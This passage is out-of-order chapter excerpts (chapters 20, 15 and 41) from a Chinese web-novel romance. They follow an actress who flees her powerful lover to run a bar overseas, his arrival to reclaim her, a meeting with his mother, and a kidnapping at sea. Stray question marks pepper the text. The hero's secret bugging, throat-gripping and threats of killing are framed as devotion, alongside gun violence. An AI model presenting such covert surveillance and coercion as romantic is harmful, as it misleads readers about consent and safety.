放好枪,闻修言开车带她去看店,现在她还没考驾照,不能自己开车。 黎艾用一天时间就买下了住的房子,买店更是干脆,看上?哪家店直接高价拿下,员工不变,装修不变,只是换个老板,外加多一名调酒师。 陈鹤龄女士给的七千万顿时少了一大半。 黎艾对自己住的房子要求不高,对酒吧要求却高,店面不能太小,要有设计感,要有格调,位置要在治安最好的富人区,岛上?符合这些条件的门店不多,价格自然也不便宜。 符合条件的门店虽少,却各有各的特色,让人难以抉择,但黎艾十?分?干脆地选择了其中一家店,没别的原因?,只因?为那家店的名字叫:Sky。 天,与添同?音。 盘下店,黎艾没有立马就?去驻店,她想?先把驾照考下来。 她车技不错,赛车她都会开,只有笔试对她而言比较困难,宿厘岛不比加州,可以考中文的笔试,这边只能英文。 其实她可以选择去加州考,但她觉得自己应该尽快适应这里的语言环境,从驾照笔试入手学习英文是个不错的选择。 她不是只管埋头刷题,是由闻修言以授课形式来教她,每天上?八个小时的课,其余时间自己温习。 每天她除了吃饭睡觉练拳就?在学习,时间安排得特别满,似乎是想?用这种方式尽快从离开陈添的情绪里抽离,可即便如此,每天,她的脑海里依旧会浮现陈添的影子。 她时常回忆起的,是他抽烟的样子。 在这边,她抽烟的频率比在国?内高了很多,而每一次抽烟,她脑子就?全是陈添抽烟那堪比行为艺术的画面。 黎艾很肯定地认为,她再?也遇不到比陈添更吸引她的人了。 陈添身上?的性张力?,是光想?想?,就?会让她湿的程度,明明,她并非是重欲的人。 拿到驾照是在登岛的第十?一天。 第十?二天,黎艾补染了自己长出一截黑色的金发,然后自己开着车去酒吧开始驻店,戴着蓝色美瞳和金色面具,穿露肩黑色翻领牛仔束腰短裙,脚踩高筒绑带皮靴。 这样的装扮,配上?她逆天的身材比例,简直就?是从CG动画里走?出的人物,美得极不真实。 很快,Sky来了一名神秘的金发女郎调酒师传遍了酒吧区的富人圈。 Sky自从她来了后,每天客人爆满。 作为演员,黎艾早已适应了被注视,被围观,对于每日一道道停留在她身上?的目光,她没有什么不适应。 Sky不是那种蹦迪的酒吧,没有很燥的音乐,音乐舒缓,环境清幽,来的客人主要是喝点小酒聊聊天,素质偏高,极少有喝醉的闹事?者,却也有例外,譬如专程因?黎艾而来的那群人。 黎艾刚驻店三天,就?有一个微醺的男人翻过吧台强行想?要揭下她的面具,闻修言上?前想?要阻止,但对方人多势众,闻修言被好几个人按住。 “Lady, don''''t worry, I just want to see what you look like under your mask(小姐,别紧张,我?只想?看看你面具下的样子)。” 男人说着,慢慢朝黎艾靠近。 黎艾没有往后退,很干脆果断地取下别在大腿处的那把手枪,将?子弹上?膛,贴着男人的脑门对准他,“Fuck off(滚)。” 看到黎艾这一系列的动作,男人却兴奋地吹了个口哨,还主动用头去顶黎艾手里的枪,e on, shoot me(来啊,开枪)。” 他显然以为黎艾不敢。 黎艾盯着他,眼神平静,平静之?下,是冷厉。 “嘭——” 酒吧里响起巨大的枪声,店内客人纷纷下意识抱头。 黎艾开了枪。 只是,对准的不是他的头,是他的耳垂。 子弹擦过男人的耳垂,撕出一条口子,男人痛呼一声,捂着耳朵后退。 “I repeat,fuck off(我?再?说一遍,滚),”黎艾继续用枪指着他,“Next time, I''''ll not shoot your ears(下次我?开枪打?的就?不是你的耳朵了)。” 男人恶狠狠地盯了黎艾一会儿,最后还是认怂选择了离开。 从这之?后,黎艾凶悍的名声也传开了。 来这儿消费的人,多多少少有点家底,这种人最是怕死怕伤,没必要就?因?为看一眼一个女人的脸而挨上?一枪。 一切似乎都安定了下来,黎艾每天起床自己做饭,学习两个小时英文,练会儿拳,然后洗澡化妆后驱车去酒吧,日子过得平淡而充实,但黎小二却显得不太安定,总是在屋子里来回转来转去,时不时还会发出很奇怪的叫声。 它似乎意识到,它已经很久没有看到陈添。 以前每次拍戏,黎艾都会把黎小二带去剧组,出去玩儿时长也带着,它不是没长时间离开过陈添,但时间没有这么长过,不管她去哪儿拍戏,陈添都经常会来探班。 黎艾不知道要怎么安抚它,不过她相?信,时间会抚平一切- 在宿厘岛的第二十?五天,黎小二还是显得很焦躁。 出门前,黎艾摸了摸它的头。 驱车抵达Sky是下午的三点整。 酒吧已经开始营业,这个点,店里人也不少。 冲黎艾来的除了好色的男人,还有真正的鸡尾酒爱好者。 大多数小型酒吧的酒单上?只有三十?多种鸡尾酒,但在Sky,有两百多种。 黎艾还推出了盲盒系列,每天限供三十?份,里面除了比较大众的鸡尾酒,还会有三杯价格高昂且口感独特的鸡尾酒。 盲盒系列从下午四点开售,所?以每天四点前,店里基本上?就?会满座。 这些真正的鸡尾酒爱好者在喝到以前从没喝过且很喜欢的鸡尾酒时,脸上?会露出十?分?惊喜的神色,也毫不吝啬对黎艾的夸赞,这让黎艾感到很快乐,也很满足。 店里满座后,服务生?会将?大门关上?,有人想?进来时,门口的服务生?会告知他们已经满座,如果对方是找人才会放他们进来。 四点过后,短时间内没有客人离开,大门一直关着。 “Sir!” 门口响起一阵惊呼。 伴随而来的,是“嘭”的一声巨响—— 大门被人一脚踹开。 正在调酒的黎艾愕然抬眸。 蓦地,她愣住。 出现在门口的男人一身黑衣,气质冷冽,像带着一身冷雾。 他大半张脸被阴影笼罩,只余一点光,漆黑的眼沉郁无比,目光锐利得像是能将?空气生?生?劈开。 对上?那双眼,黎艾的心脏骤然间狂跳起来。 那双无数次出现在她梦里的眼。 陈添。 他,来找她了。 第20章 第 20 章 两人?对视。 时间?仿佛静止。 在这二十五天时间?里, 黎艾不是没有想过与陈添重逢的场景。 也想过,再见到他,该怎么?样去面对他。 而真正到了这一刻,她发现她曾在脑海里演练上百遍的那些场景, 她一幕也记不起来, 大脑一片空白, 连带着?眼前的世界都变成白茫茫一片的虚影,只有那一抹黑色的身?影存在于她的瞳孔里。 心脏跳得越来越快,越来越快, 几乎像要跳出胸腔。 血液狂流着?,沸腾着?,情绪如潮水般汹涌。 她的理智似是被?这汹涌的情绪淹没,等意识到自己应该移开目光时,却也意识到陈添也还看着?她, 一直看着?她,并?,迈开步子,径直朝她走来。 黎艾猛地一怔。 他认出她了。 此?时的她染了金发, 戴着?蓝色美瞳, 半张脸被?面具覆盖,他却还是一眼认出了她。 她下意识想要逃跑, 却发现步子一步也挪不动,目光也移不开,身?体像被?眼前的人?夺了舍, 完全由他掌控, 只能看着?他,一步, 一步,来到她面前。 陈添的身?影将她整个人?笼罩,像一张网。 接着?,脖子被?扼住,下巴被?抬起,两人?之间?的距离被?拉到最近,凉透的声音传入耳底: “我他妈就值七千万?” 黎艾怔怔的看着?那双充满愤怒的眼。 她没想到他最愤怒的点?在于七千万,而不是她的逃跑。 这七千万,在他眼里,似乎被?当成了把他卖掉的价钱,如果是这样,那七千万对他来说是有点?儿侮辱了,这些年光是他送她的珠宝就早已不下十个七千万,但她不知道这代表他其实更爱的是他自己,还是代表他有足够的信心,觉得能把她带回去,所以?可以?不计较她的逃跑。 “送你的东西都不要,就要那七千万,”陈添掐着?她下颌的力道收紧,“黎艾,你有没有良心?” 至此?,黎艾终于明?白了他为什么?对这七千万这么?愤怒。 他大概觉得,就算最初她和他在一起是只图他在娱乐圈的权势,但相处五年,就算是只养不熟的狼也该处出感情了,即便不想和他冒险,决定要走,怎么?也该有所留恋,带走一些纪念物?,她却那么?狠心,什么?都不要,只就要一只猫,和那七千万。 “你就当我没良心。”她如是说,但她要真的没良心,就该让他娶她,让他断前程,还绝后代。 陈添手上的力道又加重一分。 黎艾被?他掐得生疼,但咬牙忍着?一声没吭。 他从没这样弄疼过她。 两个人?之间?的气氛太剑拔弩张,很多人?的目光都看了过来,有员工似乎想上前把陈添拉开,但被?闻修言阻止。 闻修言受命于陈鹤龄女士保护黎艾,但陈添作为陈鹤龄女士的独子,他怎么?也不该和陈添起冲突,更别说,他也不认为陈添会伤害黎艾。 在座的客人?里,有人?想英雄救美,从座位上站了起来。 一直跟在陈添身?后的叶尧扫了那几人?一眼,从背后拿出一把枪,将子弹上膛。 他没有用枪瞄准任何人?,只是持枪定定站在陈添身?后,意思很明?白,别多管闲事,除非想死?。 几个人?最终都坐了回去。 说他们?怕死?吧,他们?却又没走,只是坐了回去,其他个个也是看热闹不嫌事儿大,一个离店的人?都没有。 陈添全然没有理会其他人?,眼里至始至终只有一个黎艾。 “告诉我,”他盯着?黎艾冷声开口?,“为什么?要跑?” 黎艾长睫颤了颤。 他会这么?问,显然是不信她在信上写的话,她却偏要说:“我在信里写得还不够清楚吗,我只是利用你,现在你没有利用价值了,你说我为什么?要跑?” “那你半年前为什么?不跑?为什么?偏偏在听了我妈说的那些话才跑?”陈添扯唇笑了声,“为什么?跑之前还跟我做了整整一晚上?” 黎艾也笑了,她抬手,指尖轻轻抚过陈添的脸,表情妩媚,“我在信上写了,我对你没几分真心,唯一真心喜欢的,就是床上的你。” “除此?之外,我一点?儿也不喜欢你,”说着?,她的表情瞬间?冷下来,语气也冷得彻骨,“我是真的,很讨厌你们?这种高高在上的资本家。” 似乎完全没料到她会这么?说,陈添沉默了两秒。 于是,黎艾接着?说:“在信上我还写了,让你千万不要认为我是为了你好?才离开,但你还是觉得我就是为你好才离开的对不对?” 陈添没有回答,只是目光沉沉地看着?她,似是想从她眼底找到表演的痕迹。 “陈添,你真的好?自恋,”黎艾故作厌恶神色,“你是不是觉得,是个女人?就该爱你爱到死?去活来,但你没那么?大魅力。” “我不爱你,”她一字一顿的强调,“一点?都不爱。” “我不信。” 陈添几乎是不假思索地说出这三个字。 说那么?多,他用三个字就全盘否认,这让黎艾气极,她情绪一下激荡起来,“你听不懂人?话吗?!” 她控制不住地冲他怒吼:“我他妈就是不爱你!” “我他妈就是不信!” 两个人?声音一个盖过一个,吼声惊动了整个店里的人?,一时间?所有人?都看向了这边,他们?二人?眼里却只有对方,死?死?盯着?对方。 黎艾认为自己把这个谎编得已经很完美了,他还是不信,到底要她怎么?说? “随你信不信,”黎艾一把将他推开,“反正我不会跟你回国,你如果偏要在我这儿浪费时间?,随你。” “黎艾。”陈添喊她的名字,伸手想再次触碰她的脸,却被?她偏头躲开。 修长的手指在半空停顿片刻,最后还是扼住了那张精致的脸,动作又快又凶狠,让人?避无可避。 黎艾下意识想挣扎,却又放弃,跟陈添动手,她没有任何胜算,现在只是被?捏捏脸,要是反抗,她毫不怀疑自己会整个人?被?压到吧台上。 陈添大手掌控着?她的脸,将她拉近到自己跟前。 “黎艾,”他再次喊了一遍她的名字,声线压低,“你不是觉得我拿你没办法,跟你耗不起?” “难道不是吗?” 她可以?一辈子在这里,但他陈添不行,那她不回去,他能拿她有什么?办法? 难不成还能把她绑回去? 国内还可以?强行绑,什么?越南缅甸也可以?,但这儿在美国,隔着?一整个太平洋。 “我很明?确的告诉你,”陈添掀唇,“我耗得起。” 黎艾的脸色骤然沉了下去。 她了解陈添,这话既然说出了口?,那他就一定会做到。 心情在一瞬间?跌至谷底。 她握紧双拳,不服输的咬着?牙。 她一边用力瞪着?他,与他对峙,一边思索着?该说些什么?来让他打消和她耗下去的这个念头。 胸膛剧烈起伏片刻后,她再次开口?:“既然你不信我不爱你,那你有没有想过?” “如果我爱你,你为我牺牲那么?多,我会有多大的负担?有没有想过,我明?知后果那么?严重还跟你在一起,以?后的每一天我会多担惊受怕?有没有想过这样的感情会让我有多痛苦?!” 她越说越激动,声音不断拔高,像崩溃一般冲他大喊:“我不喜欢别人?为我牺牲,也不想过整天担惊受怕的生活!我就想一个人?平平淡淡地活!” 陈添没有见过她这般崩溃大喊的样子,一时间?愣在了原地。 见他怔愣,黎艾也冷静了一些,声音低下来,用祈求般的眼神看着?他,试图令他动容,“你为什么?就不能成全我,也放过你自己。” 最后六个字,像是触碰到陈添的逆鳞,他双眸突然压出一股狠劲,“我成全你,谁成全我?谁他妈能还我一个黎艾?!” 这句话,他完完全全用的吼。 黎艾也从没见过他这副暴怒狂躁的模样。 印象里,他即便愤怒到极点?也不会这样失控地吼叫。 “黎艾你听着?,”他用力捏住她的脸,像恨不得将她的骨头捏碎,却又真的怕把她捏碎了,在愤怒到已经?失控的状态下还要顾及别弄伤她,这让他的情绪愈发失衡,整个人?愤怒得像一头快要发狂的狮子。 “我说了,不进那个狗屁议庭我也可以?护住你,没有什么?所谓的牺牲,是你说你信我然后又一脚把我踹开,是你骗我!是你抛弃我!你说我凭什么?成全你?!凭什么??!” 这些话如同雷霆般砸进黎艾的耳朵里,她整个人?也如遭雷击,目光僵直地怔怔望着?陈添。 是啊,凭什么?…… 从头到尾,负心的那个人?是她,凭什么?让他成全。 哪怕,她选择离开他的真实原因是在生孩子这件事上。 她没有骗他,她是真的信他,信他即便不进议庭,他们?也会有很美好?的未来,但前提是,她不是丁克。 孩子是他们?之间?不可调和的矛盾,即便他说他可以?不要孩子。 她特怕他说他可以?为了她不要孩子,他明?明?就那么?喜欢小孩。 如果两个人?之间?,一个人?有太大的妥协与让步,另一个有太大的心理负担,这样不健康的关系有什么?必要维持下去,两个都痛苦。 有些性格是天生的,她就是做不到心安理得的去承受他人?的牺牲。 事到如今,她不知道该说什么?,哑口?无言。 “说话。”陈添将她的下巴抬高了一分。 “我没什么?好?说的,是我对不起你,是我狼心狗肺,所以?,”她自嘲地笑了下,“我这样的烂人?,你何必抓着?不放?” “因为我没你那么?没良心,五年的感情,说丢就丢。” 靠,死?循环。 黎艾想死?的心都有了。 陈添此?刻的心情却似乎好?了许多,轻扯唇角缓缓笑了起来,“黎艾,我这辈子都不会放过你。” 黎艾表情一怔。 “别想着?继续跑,”他笑得邪肆,带笑的沉沉嗓音如恶魔低语,“你跑不掉。” 15.第 15 章 早上十点,一辆黑色卡宴缓缓驶入一座中式院落。 陈鹤龄女士喜欢苏州园林的建筑风格,这栋院落的设计丝毫不输苏州本地的各个著名园林,水景精湛,奇石林立,布局十分典雅精致,处处是景,造价难以估量。 黎艾坐在车里,平静地望着窗外,表情看不出一丝要见家长的紧张与拘谨。 她当然不紧张,她又没打算和陈添结婚,全然不在乎陈鹤龄女士会不会喜欢她。 她今天穿了一条很大方得体的米白色长裙,头发也盘了起来,平时私下她都穿得很随意,怎么舒服怎么来,今日算是精心打扮了一番,她虽不在意陈鹤龄女士对她的看法,但以表尊重,还是穿得正式些。 车子往院落里开了好一阵子才停车,透过窗,黎艾看到陈鹤龄女士穿着一件柳绿色旗袍站在屋檐下,俨然是在等他们,身边还站着两个小女孩。 作为长辈,陈鹤龄女士完全可以在室内等他们,此番出门迎接,也足以看出陈鹤龄女士对她的尊重。 昨晚陈添给她看了陈鹤龄女士的照片,照片上的陈鹤龄女士已然很是美丽,不料本人更美,几十载的岁月并未在她身上留下多少痕迹。 陈鹤龄女士的气质长相与黎艾见过的许多阔太和女企业家都不一样,她身上有种遗世独立的清冷,丝毫看不出是一位每日与金钱打交道的女商人,也不像决策施令且雷厉风行的女强人,她的双眸并不犀利,却深邃,像乘坐潜艇进入深海才能看到的景致—— 无尽的幽暗与深蓝、沉敛、平静…… 沉静之下,是看不见也感受不到的强压,却又能让人清楚的明白,一旦打开舱门,离开安全地带踏入禁区,会顷刻被千万吨水压的海水吞噬、碾碎。 对上那双眼,黎艾感觉心脏骤然间停了一瞬。 只一瞬,分明看不出任何情绪的眼神,但黎艾就是能感觉到,陈鹤龄女士并不欢迎她,但似乎对她却又没有一丝厌恶感,只是非常单纯的排斥,像身体里被注入他人血液的生理性排异反应。 下车,陈添搂着她来到陈鹤龄女士面前。 “伯母您好。”黎艾不卑不亢地向她问好。 未等陈鹤龄女士开口,她身边的一个小女孩先开了嗓,“姐姐真漂亮,比电视上还漂亮!” 黎艾微微一惊,垂眸看向她们,温柔地冲她们笑了笑。 陈添弯腰,“你俩怎么跑来了?” “来看姐姐!”两个女孩儿齐声道。 陈鹤龄女士摸摸她们的头,笑着对黎艾说:“外面晒,我们进去吧。” 里屋也是清一色的古式装潢,凡是现代化的家具都做了改造,整个空间的格调十分统一。 进人家门不随意乱看是基本的礼貌,这黎艾当然知道,但房间的布置真的太有古意的艺术性,很难让人控制目光。 “看你对这宅子还挺感兴趣,我带你逛逛吧。”陈鹤龄女士说道。 黎艾不好拒绝,遂道:“麻烦您了。” “带我也逛逛呗。”陈添搂着黎艾不放手,笑得一脸混不吝的样子。 “怎么?怕我刁难你女朋友?”陈鹤龄女士轻轻睨他一眼,“你把我当什么人?” “当然是好人,最豁达大度,宽以待人的好人。” “少给我扣帽子。” 陈添继续笑。 “嘭——” 身后传来物件掉落到地上的声音。 转头,三人看见俩小孩正追逐着在屋子里疯跑。 “管管她们去。” 陈添叹了口气,知道他亲妈这是要把他支走,不过他也没什么不放心的,这俩人他都了解,一个没那么狭隘,一个没那么容易被人拿捏,顶多就是让黎艾知道那件事,那件事,她不知道更好,但知道了也没什么。 黎艾轻轻拍了拍他的背,示意他放心,陈添会意,这才松开了搂着她的手。 “走吧,带你去看看我的收藏。” 陈鹤龄女士带黎艾去了自己的收藏室。 偌大的一个收藏室,目测直径不低于50米,藏品种类繁多,从古时的金银玉器到现代的珠宝工艺品,应有尽有,件件都精美得足以成为一个博物馆的镇馆之宝。 陈鹤龄女士仿佛真的是带黎艾来参观,娓娓道来地和她介绍着一件件藏品。 十多分钟后,两人来到一个瓷瓶前,陈鹤龄女士继续向黎艾介绍:“这个北宋时期的影青釉里红瓷瓶是去年我生日时家族里一位后辈送的。” 黎艾吃惊地微微睁大了下眼睛,眼前这个瓷瓶漂亮得像是用世间所有春色上的釉,如此成色,即便是现代产物想必都价值高昂,更遑论是北宋的文物,而这样一件文物中的珍品竟只是陈鹤龄女士的生日礼物。 “这里面很多藏品都是别人送我的,”陈鹤龄女士转头,看着黎艾轻笑道,“你是不是很好奇,为什么会有人送我这么昂贵的藏品?” 黎艾的确好奇,这里面自然是有利益互惠,否则即便是一个家族的人也不会送这么昂贵的礼物,但这个瓷瓶价值起码数亿往上,什么样的项目合作能让一个人的净收入高于这个数目? 陈鹤龄回答道:“因为我是议庭成员。” “议庭?”黎艾从未听说过这个名词。 “你可以理解为我们家族集团的董事会,”陈鹤龄女士走到一旁的黄花梨木桌旁,提起放在桌上的茶壶,倒了一盏茶,推向黎艾那边,伸手示意,“坐,我们边喝茶边说。” 黎艾知道,接下来的谈话,才是陈鹤龄女士带她来这里参观的原因。 她坐下,静候。 陈鹤龄女士给自己也倒了一盏茶,而后开口:“我们陈家的产业有多庞大,是你无法想象的,我也不便透露,今天我会把能告诉你的一些事都告诉你。” 听陈鹤龄女士这样说,黎艾心跳忽的有些加快。 “因为过于庞大且复杂的产业链,我们家族内部设立了八人议庭,每个人负责一部分产业,我负责文娱和矿业,所以陈添可以让你在娱乐圈的地位一夜之间从十八线跻身超一线,可以随手送你价值不菲的珠宝,但即便迈出这两个产业,他也可以继续像现在这样狂得没边,为所欲为。” “只要我还在议庭一天,他在哪儿都能让人恭恭敬敬的叫声爷。”陈鹤龄女士的语气从头到尾都是淡淡的,没有任何狂妄与自满,她不是在自夸,只是在叙述事实。 “但如果,”陈鹤龄女士语调一转,咬字稍稍加重了些,“有一天我退下来了,他却没进议庭,你猜他的下场会是什么样?” 黎艾一怔。 她是聪明人,自然明白陈鹤龄女士告诉她这些的缘由。 “如果他娶了我,就没办法进入议庭,是吗?”她问。 陈鹤龄女士笑起来,似乎很满意她的悟性。 “是,”陈鹤龄女士回道,“议庭成员不可与公众人物成婚、生育。” 明明知道是这个答案,黎艾的心脏还是猛 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“甚至,你和陈添会在很长一段时间里连门都出不了,也不能出国想着去个没人认识你们的地方,一旦出了国,会死,”陈鹤龄女士表情严肃,丝毫不像存有夸大成分,“在国内也没那么安全,你们的结局,有可能会是一死一疯。” “当然,这是最坏的情况,或许凭陈添的本事,他可以护住你,可以给你一个很好的未来,但即便他能做到,过程一定也很难。” 最后,她声明:“我不是在吓唬你。” “我知道。”黎艾说。 陈鹤龄女士平静地注视了她片刻,“我给你讲这些,是把选择权交给你,你应该有知情的选择权,我来告诉你这些,和陈添告诉你,会是两码事,他来告诉你,你很可能会被感情冲昏头脑,我希望你能冷静下来好好想一想。” “谢谢您。”黎艾由衷地感谢她,不管她说这些是夸大其词来让她知难而退,还是真的为她考虑,知道这些,她会更坚决。 人都是会变的,倘若往后有一天,她想要孩子了,或许会后悔自己当初的决定,但如今知道这些,她如何都不会再后悔。 她与他,从一开始就是错的。 横在她与他之间的,不是阶级,是命运。 阶级可跨越,命运不可逆。 “我已经想好了,”她告诉陈鹤龄女士,“我不会嫁给他的。” “在来这里之前,我就已经做好了离开的准备,去一个他找不到的地方,目前和我挂钩的所有商务我都已经处理完了,这两天就会发布退圈的消息,”说到这儿,她低眸,苦笑,“原本打算退圈的时候就一并退出陈添的世界,但舍不得啊,就想着,再和他过完最后一个夏天,但我怕他最近就会和我求婚,还是算了。” 陈鹤龄女士似乎完全未料到她会这样说,眼神里有些许吃惊,也有不解,但她没有问黎艾为什么,她尊重黎艾的决定,也尊重她的隐私。 “他确实打算最近就和你求婚,就在我这里。” 黎艾倏地一怔。 “他准备在下次带你来的时候跟你求婚,觉得在这里求婚你绝对意想不到,能给你最大的惊喜,地方都布置好了,”陈鹤龄女士迟疑片刻,问,“要去看看吗?” 原来,当她计划着要离开他的这段时间里,他在计划着向她求婚。 “我……”她有些哽咽难言,“想去看看。” 40-50 第41章 第 41 章 “来吧, 送我们球花上路。” 黎艾不自觉睁大眼,像是脑内连接中枢神经的一根弦突然断裂,大脑一片空白。 一切发生得太快,她没有半点心理准备。 真的要死了吗? 她只想到这样一句话。 除却这一句话, 大脑仍是空白的。 她闭上眼, 认命地接受现?实, 安静等待着?那个被推入海底结局。 “BOSS!” 一阵惊慌失色的叫喊传入她耳中,在这最后的关头。 黎艾不解的睁开眼,看到身旁给她系哑铃的男人手里不知?何时出?现?了一部手机, 她又向陈柏西看过去。 原本?正笑着?的陈柏西此时眉头深锁,正神色凝重?地盯着?那部卫星手机。 男人将卫星手机给陈柏西递过去,陈柏西看到手机屏幕上赫然显示着?两?个字:陈添。 陈柏西瞳孔猛地一震。 肉眼可见的慌张。 既然是用卫星电话打过来,那就?是让他无论如何都要接。 短短一秒钟的时间,陈柏西手心出?了密密的一层汗。 有些急促地呼吸了两?口后, 他握了握拳头,神色紧结地接过卫星手机。 他没有立马接通,等秘书把黎艾的嘴捂严实了,他才按下?接听键。 “添?”陈柏西扯了扯唇, 想用素日里总是带笑的语气, 却怎么?也笑不出?来。 手机里传出?一道?沉冷如寒冰般的声音:“现?在、立刻、马上把黎艾给我带回来。” “添,我们不是都说好了……” 他的话没能?说完, 陈添打断他,“今天?见不到黎艾,你就?去死。” 说完, 陈添挂断。 陈柏西愣住。 愣了会儿, 陈柏西忽然暴怒地把卫星手机摔了个稀巴烂,“Fuck!” 听陈添的语气, 陈柏西觉得他像是知?道?他要对黎艾做什么?,而且不是猜测,是断定,但怎么?可能?? 陈添但凡有一点这方面的猜想,他都不可能?把黎艾交给他。 所以问题到底出?在哪儿? 陈柏西想不通。 现?在不管送不送黎艾回去,他都会完蛋,只是,送黎艾回去,他至少能?活。 蓦地,他仿佛想到什么?,一下?冲到黎艾跟前,在她身上疯狂翻找。 两?分钟后,他从黎艾腰带内侧处取下?一个纽扣电池般的物件。 黎艾完全不知?道?这是什么?,但心里有个很笃定的猜测—— 窃听器。 她回想起,在码头上,她想从陈添怀里挣脱出?来时,陈添用力扣了下?她的腰,这东西估计就?是那时候装到她腰带上的。 陈柏西自然知?道?这是什么?东西,他用力捏着?这枚窃听器,眼底爆发出?骇人的戾气。 “艹!” 他狠狠将这枚窃听器扔进了海里。 “Boss,we……”他秘书虽然没听到他与陈添的通话内容,但也能?猜个八九不离十,只是不知?道?该怎么?开口。 陈柏西用力抓着?船舷,神色再没了之前始终带着?的那股散漫与玩味,脸色差到了极致。 “调头。”过了好一会儿,他嘴里才极不情愿地挤出?这两?个字。 不多?时,游艇调转方向,海风迎面吹来。 死里逃生生的心情在这一刻无比清晰,黎艾的心脏跳动?得比刚刚还要快。 陈添又一次救了她。 游艇的速度还是那么?快,黎艾知?道?,她很快会再见到他。 望向远处的视线里逐渐出?现?一座小岛,接着?,是海岸线,码头,以及,码头上的那个人。 他迎风而立,像一棵在狂风中屹立不倒的常青树,任何风浪都无法将他摧毁。 游艇靠岸,陈柏西的秘书给黎艾松绑,之前不给她松绑大概是怕她会对陈柏西动?手,但黎艾没这打算,她又不是有暴力倾向的人,只要陈柏西没碰她,她就?不会动?手。 陈柏西先她一步下?游艇,全程没往陈添那边看,他无话可说,也不用再装,沉默地站着?。 陈添朝他走过去,还剩一米的距离,他抬腿一脚踹过去。 陈柏西吃痛地摔到地上,捂着?腹部表情痛苦,却不忘将脸侧到一旁,不去看陈添,似是不愿直面自己这般狼狈的下?场。 陈添站在他面前,居高临下?地俯视他。 “从现?在开始,你更要盼着?我别死在美国,”他送给陈柏西最后一句话,“否则,你得给我陪葬。” 黎艾在这时下?船,他的目光没再有一丝停留在陈柏西身上。 “过来。”他看着黎艾说。 黎艾没那么?不知?分寸,自然不会在这时后使性子,听话地抱着怀里的猫朝他走过去。 “有没有受伤?”陈添问她。 黎艾摇头。 手其实被磨破皮了,在被绑的时候,但这不算什么?。 因为出?海,她穿了外?套,这会儿衣袖遮着?,但陈添还是瞥见了一点红。 “放心,这事儿我跟他没完。” 说着?,他径自揽过她的腰,带着?她往前面停着?的车走。 感受到腰上的力度,黎艾只敛了敛眸,由他揽着?。 上了车,密闭的空间里,风声安静许多?。 “还敢往外?乱跑吗?” 陈添独特的嗓音落在耳边,黎艾转头看向他,“敢啊。” “你说你怎么?这么?倔?” “我就?是倔。” 车内响起一声轻笑,说不出?是宠溺还是什么?。 他这人,笑起来很要命,唇角只微掀一点弧度便好看得让人无法不悸动?。 黎艾想将视线从他脸上移开,但她还有件事想问他,“之前你也在我身上安了窃听器定位仪什么?的吗?” “没有。”陈添否认。 “那这次为什么?安?” “我信不过那小子。” “信不过你还让我跟他走!”黎艾眸中怒色一闪。 “所以我不是安了窃听器以防万一?” 黎艾:…… 怎么?每次跟他吵架都会陷入死循环。 陈添笑了笑再次开口:“像他这样的同盟,没人希望我和你结婚,很多?人都是以为我一定会进议庭才和我站在一个阵营,我没在打算娶你的时候告诉他们,让他们规避风险,就?是怕他们会像今天?这样对你动?手,我只考虑了你,没考虑他们,所以我的确该给陈柏西一个机会,他要真有那本?事,能?在不加害你的情况下?把你送到我找不到的地方,我认。” 黎艾眨眨眼。 可惜了,陈柏西没那本?事。 陈添倾身过来,一只手放在她脑后,拇指拨了拨她的头发,“你让别人送你,还不如让我送。” 这意思,是让她和他做六天?来换他送她走。 这次六天?,下?次是不是得九天?,她才不惯着?他,得寸进尺的狗男人。 “你做梦。” 陈添掀唇,“已经做很多?遍了。” 黎艾一愣,耳尖瞬间红透。 陈添看见了,手伸过去捏了捏,像捏小猫耳朵那样的捏。 黎艾自然不情愿让他捏,身子往旁边侧,抬手用力拍开他的手。 陈添轻笑,转而去摸她怀里的猫。 “到饭点了,”他漫不经心般开口,“想吃什么??” “我想回去吃我自己做的菜。” “你手受伤了。” 黎艾下?意识拉了拉自己的袖子,“一点儿小伤,又不是断了。” 陈添握住她胳膊,轻轻将她的袖子掀起来,完完整整的看到她被绳子勒出?一条血痕的手腕,有处破皮比较严重?的地方甚至还在往外?渗着?淡黄色组织液,陈添盯着?那处伤口,他的双眸被垂下?的长睫遮住,看不清眼底神色,却让人能?清晰感觉到从他眼底透出?的浓重?戾气。 黎艾想把手收回来,可他握得实在太紧。 “陈添你放开我。”她语气里掺了带着?怒意的抗拒。 “你今天?最好乖一点,”陈添掀起薄薄的眼皮,毫不掩饰眼底狠戾的阴沉之色,声音里也是某种快要压抑不住的危险意味,“不然我可能?会控制不住想弄死陈柏西的冲动?。” 黎艾把胳膊往回扯的动?作骤然一僵。 陈添拉着?她的胳膊凑过来一些,另一只手抚上她的脸,拇指轻抵她下?颌,“你不想有人因为你而死对不对?” 声音对比刚刚放得很温柔,却比刚刚的话还让人害怕,这是明晃晃的威胁。 黎艾看着?他,嗓子发紧,一时间竟说不出?话。 “我知?道?你不喜欢我杀人,”陈添继续说着?,双眸微微充血,额头青筋跳动?,像个即将失控的疯子,“但他不光想把你扔进海里,还想碰你,我是真的很想送他去死。” “你冷静点。”黎艾眉头紧锁,呼吸变得急促。 “那你乖一点。”陈添再凑过来一些。 他挨得太近,目光又实在灼人,黎艾低头,移开与他对视的目光,没有说话。 “我们去吃饭,”陈添低声,“好不好?” 沉默片刻,黎艾点了点头,她是真的怕陈添冲动?。 陈添笑起来。 车辆于半小时后开进一处中式山庄,山庄门匾上的店名?没有任何英文标注,显然自有门路,不用讨好当地顾客,山庄内的景致也没有半点当代西方建筑的影子,完全依照传统中式园林布局造景,山庄内处处可见假山堆叠,竹坞曲水,池边水廊逶迤,水面楼台倒影,清幽恬静,从任何角度往出?去,眼前都是一副画。 在国外?,这样的山庄很是少见,更别说是在一座小岛上。 许久没有见到国内的建筑,黎艾看得有些入迷。 车子最后停在一处名?叫“弄月轩”的竹楼前。 下?车,黎艾被陈添拉着?胳膊进到弄月轩内,叶尧紧随其后,手里提着?药箱,将药箱放到屋内的桌上后,叶尧离开,屋内只剩下?黎艾和陈添两?人。 陈添打开药箱,从里面拿出?碘伏和棉签给黎艾的伤口消毒。 伤口虽都只是破皮,消毒时还是蛮疼,黎艾想起上回陈添给她处理伤口时非让她叫出?来的场景,心里有点堤防,怕他这次也发神经,但没有,陈添全程都很安静。 他这样,黎艾反而更紧张。 给她一圈一圈缠好绷带,陈添放下?工具,去握她的手。 “你干什么??”黎艾皱眉,却没有把手收回来。 “黎艾,”陈添沉声开口,“我栽在别人手里的几率只有一成,但如果你想我死,十成十,我会死在你手里。” “说这个做什么??” 